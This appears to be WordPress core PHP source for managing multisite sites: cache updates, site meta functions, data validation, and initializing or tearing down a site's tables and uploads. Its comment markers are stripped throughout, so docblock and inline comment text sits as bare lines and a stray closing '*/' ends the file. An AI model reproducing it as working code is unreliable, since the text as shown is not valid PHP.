function update_site_cache( $sites, $update_meta_cache = true ) {
if ( ! $sites ) {
return;
}
$site_ids = array();
$site_data = array();
$blog_details_data = array();
foreach ( $sites as $site ) {
$site_ids[] = $site->blog_id;
$site_data[ $site->blog_id ] = $site;
$blog_details_data[ $site->blog_id . 'short' ] = $site;
}
wp_cache_add_multiple( $site_data, 'sites' );
wp_cache_add_multiple( $blog_details_data, 'blog-details' );
if ( $update_meta_cache ) {
update_sitemeta_cache( $site_ids );
}
}
*
* Updates metadata cache for list of site IDs.
*
* Performs SQL query to retrieve all metadata for the sites matching `$site_ids` and stores them in the cache.
* Subsequent calls to `get_site_meta()` will not need to query the database.
*
* @since 5.1.0
*
* @param array $site_ids List of site IDs.
* @return array|false An array of metadata on success, false if there is nothing to update.
function update_sitemeta_cache( $site_ids ) {
Ensure this filter is hooked in even if the function is called early.
if ( ! has_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' ) ) {
add_filter( 'update_blog_metadata_cache', 'wp_check_site_meta_support_prefilter' );
}
return update_meta_cache( 'blog', $site_ids );
}
*
* Retrieves a list of sites matching requested arguments.
*
* @since 4.6.0
* @since 4.8.0 Introduced the 'lang_id', 'lang__in', and 'lang__not_in' parameters.
*
* @see WP_Site_Query::parse_query()
*
* @param string|array $args Optional. Array or string of arguments. See WP_Site_Query::__construct()
* for information on accepted arguments. Default empty array.
* @return array|int List of WP_Site objects, a list of site IDs when 'fields' is set to 'ids',
* or the number of sites when 'count' is passed as a query var.
function get_sites( $args = array() ) {
$query = new WP_Site_Query();
return $query->query( $args );
}
*
* Prepares site data for insertion or update in the database.
*
* @since 5.1.0
*
* @param array $data Associative array of site data passed to the respective function.
* See {@see wp_insert_site()} for the possibly included data.
* @param array $defaults Site data defaults to parse $data against.
* @param WP_Site|null $old_site Optional. Old site object if an update, or null if an insertion.
* Default null.
* @return array|WP_Error Site data ready for a database transaction, or WP_Error in case a validation
* error occurred.
function wp_prepare_site_data( $data, $defaults, $old_site = null ) {
Maintain backward-compatibility with `$site_id` as network ID.
if ( isset( $data['site_id'] ) ) {
if ( ! empty( $data['site_id'] ) && empty( $data['network_id'] ) ) {
$data['network_id'] = $data['site_id'];
}
unset( $data['site_id'] );
}
*
* Filters passed site data in order to normalize it.
*
* @since 5.1.0
*
* @param array $data Associative array of site data passed to the respective function.
* See {@see wp_insert_site()} for the possibly included data.
$data = apply_filters( 'wp_normalize_site_data', $data );
$allowed_data_fields = array( 'domain', 'path', 'network_id', 'registered', 'last_updated', 'public', 'archived', 'mature', 'spam', 'deleted', 'lang_id' );
$data = array_intersect_key( wp_parse_args( $data, $defaults ), array_flip( $allowed_data_fields ) );
$errors = new WP_Error();
*
* Fires when data should be validated for a site prior to inserting or updating in the database.
*
* Plugins should amend the `$errors` object via its `WP_Error::add()` method.
*
* @since 5.1.0
*
* @param WP_Error $errors Error object to add validation errors to.
* @param array $data Associative array of complete site data. See {@see wp_insert_site()}
* for the included data.
* @param WP_Site|null $old_site The old site object if the data belongs to a site being updated,
* or null if it is a new site being inserted.
do_action( 'wp_validate_site_data', $errors, $data, $old_site );
if ( ! empty( $errors->errors ) ) {
return $errors;
}
Prepare for database.
$data['site_id'] = $data['network_id'];
unset( $data['network_id'] );
return $data;
}
*
* Normalizes data for a site prior to inserting or updating in the database.
*
* @since 5.1.0
*
* @param array $data Associative array of site data passed to the respective function.
* See {@see wp_insert_site()} for the possibly included data.
* @return array Normalized site data.
function wp_normalize_site_data( $data ) {
Sanitize domain if passed.
if ( array_key_exists( 'domain', $data ) ) {
$data['domain'] = trim( $data['domain'] );
$data['domain'] = preg_replace( '/\s+/', '', sanitize_user( $data['domain'], true ) );
if ( is_subdomain_install() ) {
$data['domain'] = str_replace( '@', '', $data['domain'] );
}
}
Sanitize path if passed.
if ( array_key_exists( 'path', $data ) ) {
$data['path'] = trailingslashit( '/' . trim( $data['path'], '/' ) );
}
Sanitize network ID if passed.
if ( array_key_exists( 'network_id', $data ) ) {
$data['network_id'] = (int) $data['network_id'];
}
Sanitize status fields if passed.
$status_fields = array( 'public', 'archived', 'mature', 'spam', 'deleted' );
foreach ( $status_fields as $status_field ) {
if ( array_key_exists( $status_field, $data ) ) {
$data[ $status_field ] = (int) $data[ $status_field ];
}
}
Strip date fields if empty.
$date_fields = array( 'registered', 'last_updated' );
foreach ( $date_fields as $date_field ) {
if ( ! array_key_exists( $date_field, $data ) ) {
continue;
}
if ( empty( $data[ $date_field ] ) || '0000-00-00 00:00:00' === $data[ $date_field ] ) {
unset( $data[ $date_field ] );
}
}
return $data;
}
*
* Validates data for a site prior to inserting or updating in the database.
*
* @since 5.1.0
*
* @param WP_Error $errors Error object, passed by reference. Will contain validation errors if
* any occurred.
* @param array $data Associative array of complete site data. See {@see wp_insert_site()}
* for the included data.
* @param WP_Site|null $old_site The old site object if the data belongs to a site being updated,
* or null if it is a new site being inserted.
function wp_validate_site_data( $errors, $data, $old_site = null ) {
A domain must always be present.
if ( empty( $data['domain'] ) ) {
$errors->add( 'site_empty_domain', __( 'Site domain must not be empty.' ) );
}
A path must always be present.
if ( empty( $data['path'] ) ) {
$errors->add( 'site_empty_path', __( 'Site path must not be empty.' ) );
}
A network ID must always be present.
if ( empty( $data['network_id'] ) ) {
$errors->add( 'site_empty_network_id', __( 'Site network ID must be provided.' ) );
}
Both registration and last updated dates must always be present and valid.
$date_fields = array( 'registered', 'last_updated' );
foreach ( $date_fields as $date_field ) {
if ( empty( $data[ $date_field ] ) ) {
$errors->add( 'site_empty_' . $date_field, __( 'Both registration and last updated dates must be provided.' ) );
break;
}
Allow '0000-00-00 00:00:00', although it be stripped out at this point.
if ( '0000-00-00 00:00:00' !== $data[ $date_field ] ) {
$month = substr( $data[ $date_field ], 5, 2 );
$day = substr( $data[ $date_field ], 8, 2 );
$year = substr( $data[ $date_field ], 0, 4 );
$valid_date = wp_checkdate( $month, $day, $year, $data[ $date_field ] );
if ( ! $valid_date ) {
$errors->add( 'site_invalid_' . $date_field, __( 'Both registration and last updated dates must be valid dates.' ) );
break;
}
}
}
if ( ! empty( $errors->errors ) ) {
return;
}
If a new site, or domain/path/network ID have changed, ensure uniqueness.
if ( ! $old_site
|| $data['domain'] !== $old_site->domain
|| $data['path'] !== $old_site->path
|| $data['network_id'] !== $old_site->network_id
) {
if ( domain_exists( $data['domain'], $data['path'], $data['network_id'] ) ) {
$errors->add( 'site_taken', __( 'Sorry, that site already exists!' ) );
}
}
}
*
* Runs the initialization routine for a given site.
*
* This process includes creating the site's database tables and
* populating them with defaults.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
* @global WP_Roles $wp_roles WordPress role management object.
*
* @param int|WP_Site $site_id Site ID or object.
* @param array $args {
* Optional. Arguments to modify the initialization behavior.
*
* @type int $user_id Required. User ID for the site administrator.
* @type string $title Site title. Default is 'Site %d' where %d is the
* site ID.
* @type array $options Custom option $key => $value pairs to use. Default
* empty array.
* @type array $meta Custom site metadata $key => $value pairs to use.
* Default empty array.
* }
* @return true|WP_Error True on success, or error object on failure.
function wp_initialize_site( $site_id, array $args = array() ) {
global $wpdb, $wp_roles;
if ( empty( $site_id ) ) {
return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
}
$site = get_site( $site_id );
if ( ! $site ) {
return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) );
}
if ( wp_is_site_initialized( $site ) ) {
return new WP_Error( 'site_already_initialized', __( 'The site appears to be already initialized.' ) );
}
$network = get_network( $site->network_id );
if ( ! $network ) {
$network = get_network();
}
$args = wp_parse_args(
$args,
array(
'user_id' => 0,
translators: %d: Site ID.
'title' => sprintf( __( 'Site %d' ), $site->id ),
'options' => array(),
'meta' => array(),
)
);
*
* Filters the arguments for initializing a site.
*
* @since 5.1.0
*
* @param array $args Arguments to modify the initialization behavior.
* @param WP_Site $site Site that is being initialized.
* @param WP_Network $network Network that the site belongs to.
$args = apply_filters( 'wp_initialize_site_args', $args, $site, $network );
$orig_installing = wp_installing();
if ( ! $orig_installing ) {
wp_installing( true );
}
$switch = false;
if ( get_current_blog_id() !== $site->id ) {
$switch = true;
switch_to_blog( $site->id );
}
require_once ABSPATH . 'wp-admin/includes/upgrade.php';
Set up the database tables.
make_db_current_silent( 'blog' );
$home_scheme = 'http';
$siteurl_scheme = 'http';
if ( ! is_subdomain_install() ) {
if ( 'https' === parse_url( get_home_url( $network->site_id ), PHP_URL_SCHEME ) ) {
$home_scheme = 'https';
}
if ( 'https' === parse_url( get_network_option( $network->id, 'siteurl' ), PHP_URL_SCHEME ) ) {
$siteurl_scheme = 'https';
}
}
Populate the site's options.
populate_options(
array_merge(
array(
'home' => untrailingslashit( $home_scheme . ':' . $site->domain . $site->path ),
'siteurl' => untrailingslashit( $siteurl_scheme . ':' . $site->domain . $site->path ),
'blogname' => wp_unslash( $args['title'] ),
'admin_email' => '',
'upload_path' => get_network_option( $network->id, 'ms_files_rewriting' ) ? UPLOADBLOGSDIR . "/{$site->id}/files" : get_blog_option( $network->site_id, 'upload_path' ),
'blog_public' => (int) $site->public,
'WPLANG' => get_network_option( $network->id, 'WPLANG' ),
),
$args['options']
)
);
Clean blog cache after populating options.
clean_blog_cache( $site );
Populate the site's roles.
populate_roles();
$wp_roles = new WP_Roles();
Populate metadata for the site.
populate_site_meta( $site->id, $args['meta'] );
Remove all permissions that may exist for the site.
$table_prefix = $wpdb->get_blog_prefix();
delete_metadata( 'user', 0, $table_prefix . 'user_level', null, true ); Delete all.
delete_metadata( 'user', 0, $table_prefix . 'capabilities', null, true ); Delete all.
Install default site content.
wp_install_defaults( $args['user_id'] );
Set the site administrator.
add_user_to_blog( $site->id, $args['user_id'], 'administrator' );
if ( ! user_can( $args['user_id'], 'manage_network' ) && ! get_user_meta( $args['user_id'], 'primary_blog', true ) ) {
update_user_meta( $args['user_id'], 'primary_blog', $site->id );
}
if ( $switch ) {
restore_current_blog();
}
wp_installing( $orig_installing );
return true;
}
*
* Runs the uninitialization routine for a given site.
*
* This process includes dropping the site's database tables and deleting its uploads directory.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int|WP_Site $site_id Site ID or object.
* @return true|WP_Error True on success, or error object on failure.
function wp_uninitialize_site( $site_id ) {
global $wpdb;
if ( empty( $site_id ) ) {
return new WP_Error( 'site_empty_id', __( 'Site ID must not be empty.' ) );
}
$site = get_site( $site_id );
if ( ! $site ) {
return new WP_Error( 'site_invalid_id', __( 'Site with the ID does not exist.' ) );
}
if ( ! wp_is_site_initialized( $site ) ) {
return new WP_Error( 'site_already_uninitialized', __( 'The site appears to be already uninitialized.' ) );
}
$users = get_users(
array(
'blog_id' => $site->id,
'fields' => 'ids',
)
);
Remove users from the site.
if ( ! empty( $users ) ) {
foreach ( $users as $user_id ) {
remove_user_from_blog( $user_id, $site->id );
}
}
$switch = false;
if ( get_current_blog_id() !== $site->id ) {
$switch = true;
switch_to_blog( $site->id );
}
$uploads = wp_get_upload_dir();
$tables = $wpdb->tables( 'blog' );
*
* Filters the tables to drop when the site is deleted.
*
* @since MU (3.0.0)
*
* @param string[] $tables Array of names of the site tables to be dropped.
* @param int $site_id The ID of the site to drop tables for.
$drop_tables = apply_filters( 'wpmu_drop_tables', $tables, $site->id );
foreach ( (array) $drop_tables as $table ) {
$wpdb->query( "DROP TABLE IF EXISTS `$table`" ); phpcs:ignore WordPress.DB.PreparedSQL.NotPrepared
}
*
* Filters the upload base directory to delete when the site is deleted.
*
* @since MU (3.0.0)
*
* @param string $basedir Uploads path without subdirectory. See {@see wp_upload_dir()}.
* @param int $site_id The site ID.
$dir = apply_filters( 'wpmu_delete_blog_upload_dir', $uploads['basedir'], $site->id );
$dir = rtrim( $dir, DIRECTORY_SEPARATOR );
$top_dir = $dir;
$stack = array( $dir );
$index = 0;
while ( $index < count( $stack ) ) {
Get indexed directory from stack.
$dir = $stack[ $index ];
phpcs:disable WordPress.PHP.NoSilencedErrors.Discouraged
$dh = @opendir( $dir );
if ( $dh ) {
$file = @readdir( $dh );
while ( false !== $file ) {
if ( '.' === $file || '..' === $file ) {
$file = @readdir( $dh );
continue;
}
if ( @is_dir( $dir . DIRECTORY_SEPARATOR . $file ) ) {
$stack[] = $dir . DIRECTORY_SEPARATOR . $file;
} elseif ( @is_file( $dir . DIRECTORY_SEPARATOR . $file ) ) {
@unlink( $dir . DIRECTORY_SEPARATOR . $file );
}
$file = @readdir( $dh );
}
@closedir( $dh );
}
++$index;
}
$stack = array_reverse( $stack ); Last added directories are deepest.
foreach ( (array) $stack as $dir ) {
if ( $dir !== $top_dir ) {
@rmdir( $dir );
}
}
phpcs:enable WordPress.PHP.NoSilencedErrors.Discouraged
if ( $switch ) {
restore_current_blog();
}
return true;
}
*
* Checks whether a site is initialized.
*
* A site is considered initialized when its database tables are present.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param int|WP_Site $site_id Site ID or object.
* @return bool True if the site is initialized, false otherwise.
function wp_is_site_initialized( $site_id ) {
global $wpdb;
if ( is_object( $site_id ) ) {
$site_id = $site_id->blog_id;
}
$site_id = (int) $site_id;
*
* Filters the check for whether a site is initialized before the database is accessed.
*
* Returning a non-null value will effectively short-circuit the function, returning
* that value instead.
*
* @since 5.1.0
*
* @param bool|null $pre The value to return instead. Default null
* to continue with the check.
* @param int $site_id The site ID that is being checked.
$pre = apply_filters( 'pre_wp_is_site_initialized', null, $site_id );
if ( null !== $pre ) {
return (bool) $pre;
}
$switch = false;
if ( get_current_blog_id() !== $site_id ) {
$switch = true;
remove_action( 'switch_blog', 'wp_switch_roles_and_user', 1 );
switch_to_blog( $site_id );
}
$suppress = $wpdb->suppress_errors();
$result = (bool) $wpdb->get_results( "DESCRIBE {$wpdb->posts}" );
$wpdb->suppress_errors( $suppress );
if ( $switch ) {
restore_current_blog();
add_action( 'switch_blog', 'wp_switch_roles_and_user', 1, 2 );
}
return $result;
}
*
* Clean the blog cache
*
* @since 3.5.0
*
* @global bool $_wp_suspend_cache_invalidation
*
* @param WP_Site|int $blog The site object or ID to be cleared from cache.
function clean_blog_cache( $blog ) {
global $_wp_suspend_cache_invalidation;
if ( ! empty( $_wp_suspend_cache_invalidation ) ) {
return;
}
if ( empty( $blog ) ) {
return;
}
$blog_id = $blog;
$blog = get_site( $blog_id );
if ( ! $blog ) {
if ( ! is_numeric( $blog_id ) ) {
return;
}
Make sure a WP_Site object exists even when the site has been deleted.
$blog = new WP_Site(
(object) array(
'blog_id' => $blog_id,
'domain' => null,
'path' => null,
)
);
}
$blog_id = $blog->blog_id;
$domain_path_key = md5( $blog->domain . $blog->path );
wp_cache_delete( $blog_id, 'sites' );
wp_cache_delete( $blog_id, 'site-details' );
wp_cache_delete( $blog_id, 'blog-details' );
wp_cache_delete( $blog_id . 'short', 'blog-details' );
wp_cache_delete( $domain_path_key, 'blog-lookup' );
wp_cache_delete( $domain_path_key, 'blog-id-cache' );
wp_cache_delete( $blog_id, 'blog_meta' );
*
* Fires immediately after a site has been removed from the object cache.
*
* @since 4.6.0
*
* @param string $id Site ID as a numeric string.
* @param WP_Site $blog Site object.
* @param string $domain_path_key md5 hash of domain and path.
do_action( 'clean_site_cache', $blog_id, $blog, $domain_path_key );
wp_cache_set_sites_last_changed();
*
* Fires after the blog details cache is cleared.
*
* @since 3.4.0
* @deprecated 4.9.0 Use {@see 'clean_site_cache'} instead.
*
* @param int $blog_id Blog ID.
do_action_deprecated( 'refresh_blog_details', array( $blog_id ), '4.9.0', 'clean_site_cache' );
}
*
* Adds metadata to a site.
*
* @since 5.1.0
*
* @param int $site_id Site ID.
* @param string $meta_key Metadata name.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param bool $unique Optional. Whether the same key should not be added.
* Default false.
* @return int|false Meta ID on success, false on failure.
function add_site_meta( $site_id, $meta_key, $meta_value, $unique = false ) {
return add_metadata( 'blog', $site_id, $meta_key, $meta_value, $unique );
}
*
* Removes metadata matching criteria from a site.
*
* You can match based on the key, or key and value. Removing based on key and
* value, will keep from removing duplicate metadata with the same key. It also
* allows removing all metadata matching key, if needed.
*
* @since 5.1.0
*
* @param int $site_id Site ID.
* @param string $meta_key Metadata name.
* @param mixed $meta_value Optional. Metadata value. If provided,
* rows will only be removed that match the value.
* Must be serializable if non-scalar. Default empty.
* @return bool True on success, false on failure.
function delete_site_meta( $site_id, $meta_key, $meta_value = '' ) {
return delete_metadata( 'blog', $site_id, $meta_key, $meta_value );
}
*
* Retrieves metadata for a site.
*
* @since 5.1.0
*
* @param int $site_id Site ID.
* @param string $key Optional. The meta key to retrieve. By default,
* returns data for all keys. Default empty.
* @param bool $single Optional. Whether to return a single value.
* This parameter has no effect if `$key` is not specified.
* Default false.
* @return mixed An array of values if `$single` is false.
* The value of meta data field if `$single` is true.
* False for an invalid `$site_id` (non-numeric, zero, or negative value).
* An empty string if a valid but non-existing site ID is passed.
function get_site_meta( $site_id, $key = '', $single = false ) {
return get_metadata( 'blog', $site_id, $key, $single );
}
*
* Updates metadata for a site.
*
* Use the $prev_value parameter to differentiate between meta fields with the
* same key and site ID.
*
* If the meta field for the site does not exist, it will be added.
*
* @since 5.1.0
*
* @param int $site_id Site ID.
* @param string $meta_key Metadata key.
* @param mixed $meta_value Metadata value. Must be serializable if non-scalar.
* @param mixed $prev_value Optional. Previous value to check before updating.
* If specified, only update existing metadata entries with
* this value. Otherwise, update all entries. Default empty.
* @return int|bool Meta ID if the key didn't exist, true on successful update,
* false on failure or if the value passed to the function
* is the same as the one that is already in the database.
function update_site_meta( $site_id, $meta_key, $meta_value, $prev_value = '' ) {
return update_metadata( 'blog', $site_id, $meta_key, $meta_value, $prev_value );
}
*
* Deletes everything from site meta matching meta key.
*
* @since 5.1.0
*
* @param string $meta_key Metadata key to search for when deleting.
* @return bool Whether the site meta key was deleted from the database.
function delete_site_meta_by_key( $meta_key ) {
return delete_metadata( 'blog', null, $meta_key, '', true );
}
*
* Updates the count of sites for a network based on a changed site.
*
* @since 5.1.0
*
* @param WP_Site $new_site The site object that has been inserted, updated or deleted.
* @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous
* state of that site. Default null.
function wp_maybe_update_network_site_counts_on_update( $new_site, $old_site = null ) {
if ( null === $old_site ) {
wp_maybe_update_network_site_counts( $new_site->network_id );
return;
}
if ( $new_site->network_id !== $old_site->network_id ) {
wp_maybe_update_network_site_counts( $new_site->network_id );
wp_maybe_update_network_site_counts( $old_site->network_id );
}
}
*
* Triggers actions on site status updates.
*
* @since 5.1.0
*
* @param WP_Site $new_site The site object after the update.
* @param WP_Site|null $old_site Optional. If $new_site has been updated, this must be the previous
* state of that site. Default null.
function wp_maybe_transition_site_statuses_on_update( $new_site, $old_site = null ) {
$site_id = $new_site->id;
Use the default values for a site if no previous state is given.
if ( ! $old_site ) {
$old_site = new WP_Site( new stdClass() );
}
if ( $new_site->spam !== $old_site->spam ) {
if ( '1' === $new_site->spam ) {
*
* Fires when the 'spam' status is added to a site.
*
* @since MU (3.0.0)
*
* @param int $site_id Site ID.
do_action( 'make_spam_blog', $site_id );
} else {
*
* Fires when the 'spam' status is removed from a site.
*
* @since MU (3.0.0)
*
* @param int $site_id Site ID.
do_action( 'make_ham_blog', $site_id );
}
}
if ( $new_site->mature !== $old_site->mature ) {
if ( '1' === $new_site->mature ) {
*
* Fires when the 'mature' status is added to a site.
*
* @since 3.1.0
*
* @param int $site_id Site ID.
do_action( 'mature_blog', $site_id );
} else {
*
* Fires when the 'mature' status is removed from a site.
*
* @since 3.1.0
*
* @param int $site_id Site ID.
do_action( 'unmature_blog', $site_id );
}
}
if ( $new_site->archived !== $old_site->archived ) {
if ( '1' === $new_site->archived ) {
*
* Fires when the 'archived' status is added to a site.
*
* @since MU (3.0.0)
*
* @param int $site_id Site ID.
do_action( 'archive_blog', $site_id );
} else {
*
* Fires when the 'archived' status is removed from a site.
*
* @since MU (3.0.0)
*
* @param int $site_id Site ID.
do_action( 'unarchive_blog', $site_id );
}
}
if ( $new_site->deleted !== $old_site->deleted ) {
if ( '1' === $new_site->deleted ) {
*
* Fires when the 'deleted' status is added to a site.
*
* @since 3.5.0
*
* @param int $site_id Site ID.
do_action( 'make_delete_blog', $site_id );
} else {
*
* Fires when the 'deleted' status is removed from a site.
*
* @since 3.5.0
*
* @param int $site_id Site ID.
do_action( 'make_undelete_blog', $site_id );
}
}
if ( $new_site->public !== $old_site->public ) {
*
* Fires after the current blog's 'public' setting is updated.
*
* @since MU (3.0.0)
*
* @param int $site_id Site ID.
* @param string $is_public Whether the site is public. A numeric string,
* for compatibility reasons. Accepts '1' or '0'.
do_action( 'update_blog_public', $site_id, $new_site->public );
}
}
*
* Cleans the necessary caches after specific site data has been updated.
*
* @since 5.1.0
*
* @param WP_Site $new_site The site object after the update.
* @param WP_Site $old_site The site object prior to the update.
function wp_maybe_clean_new_site_cache_on_update( $new_site, $old_site ) {
if ( $old_site->domain !== $new_site->domain || $old_site->path !== $new_site->path ) {
clean_blog_cache( $new_site );
}
}
*
* Updates the `blog_public` option for a given site ID.
*
* @since 5.1.0
*
* @param int $site_id Site ID.
* @param string $is_public Whether the site is public. A numeric string,
* for compatibility reasons. Accepts '1' or '0'.
function wp_update_blog_public_option_on_site_update( $site_id, $is_public ) {
Bail if the site's database tables do not exist (yet).
if ( ! wp_is_site_initialized( $site_id ) ) {
return;
}
update_blog_option( $site_id, 'blog_public', $is_public );
}
*
* Sets the last changed time for the 'sites' cache group.
*
* @since 5.1.0
function wp_cache_set_sites_last_changed() {
wp_cache_set_last_changed( 'sites' );
}
*
* Aborts calls to site meta if it is not supported.
*
* @since 5.1.0
*
* @global wpdb $wpdb WordPress database abstraction object.
*
* @param mixed $check Skip-value for whether to proceed site meta function execution.
* @return mixed Original value of $check, or false if site meta is not supported.
function wp_check_site_meta_support_prefilter( $check ) {
if ( ! is_site_meta_supported() ) {
translators: %s: Database table name.
_doing_it_wrong( __FUNCTION__, sprintf( __( 'The %s table is not installed. Please run the network database upgrade.' ), $GLOBALS['wpdb']->blogmeta ), '5.1.0' );
return false;
}
return $check;
}
*/